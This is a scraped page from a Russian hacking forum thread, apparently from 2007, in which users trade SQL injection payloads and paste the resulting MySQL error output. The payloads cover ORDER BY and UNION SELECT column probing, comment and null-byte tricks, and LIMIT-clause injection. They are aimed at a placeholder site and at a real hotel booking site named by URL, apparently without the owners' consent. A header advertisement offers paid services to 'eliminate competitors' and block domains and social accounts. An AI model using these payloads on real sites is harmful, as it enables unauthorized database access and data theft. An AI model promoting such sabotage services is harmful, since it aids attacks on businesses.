Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 41 из 2438

Опции темы

Поиск в этой теме

Опции просмотра

#401

10.12.2007, 15:49

ЛифчиС5СВ

Постоянный

Регистрация: 09.03.2007

Сообщений: 323

С нами: 10091878

Репутация: 369

ZAMUT,
все то же самое:

Код:

'+order+by+1+--+

И вот чуток похожая тема, с такими же SQLi'ями:
http://forum.antichat.ru/thread51680.html

Последний раз редактировалось ЛифчиС5СВ; 10.12.2007 в 15:51..

#402

10.12.2007, 15:57

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

Плюнул:

Код:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union+select+blablabla+from+hekbla--+) AND `id` IN (SELECT `nid` FROM `node__acc' at line 1

#403

10.12.2007, 16:22

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

http://www.site.ru/11/15')+order+by+1/*

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#404

10.12.2007, 16:36

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

Цитата:

Сообщение от Spyder

http://www.site.ru/11/15')+order+by+1/*

Код:

Внутренняя ошибка

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')+order+by+1) AND `id` IN (SELECT `nid` FROM `node__access` WHERE `r` = 1 AND `' at line 1

#405

10.12.2007, 18:33

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

мм, попробуй тогда:
http://www.site.ru/11/15)+order+by+1%00

если неполочится попробуй

http://www.site.ru/11/15')+order+by+1%00

я чет с просони не совсем понял нужна кавычка или нет

Еще не понял, почему в запрос + идут, вобщем кидай в ЛС сайт, попробую помочь

__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 10.12.2007 в 18:40..

#406

10.12.2007, 23:39

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

С нами: 11217866

Репутация: 3812

Отправить сообщение для +toxa+ с помощью AIM

там не нужна ковычка, а запрос который дал я не выполнится, ибо нет колонки blablabla и таблицы hekbla не существует

__________________

#407

10.12.2007, 23:45

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

кавычка там действительно не нужна, посмотрел на реальном примере, да и вобще там фигня какая то, в запрос вставляется судя по ошибкам но не выполняется, вобще там плюсов не должно быть в ошибке поидее

даже http://www.site.ru/11/15-1 не выполняется

__________________
Карфаген должен быть разрушен...

#408

10.12.2007, 23:47

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

Парни, что за на*уй:

Код HTML:

http://bghotelite.com/rent-a-car.php?grad=bg&page=45'

??? Не могу далее ничего сделать...

#409

10.12.2007, 23:49

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

инъекция в limit скорее всего ничего не получится (почти уверен) хотя

__________________
Карфаген должен быть разрушен...

#410

11.12.2007, 00:24

Dr.Z3r0

Leaders of The World

Регистрация: 06.07.2007

Сообщений: 246

С нами: 9920546

Репутация: 1796

http://bghotelite.com/rent-a-car.php?grad=bg&page=45/*
ну и дальше перебираем количества полей с помощью UNION SELECT 1,2,3... и тд...
Иньекция в лимите возможна и очень легко проводима... другой вопрос в лимите ли она... но судя по всему в лимите

__________________

Кто я?..

Страница 41 из 2438

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL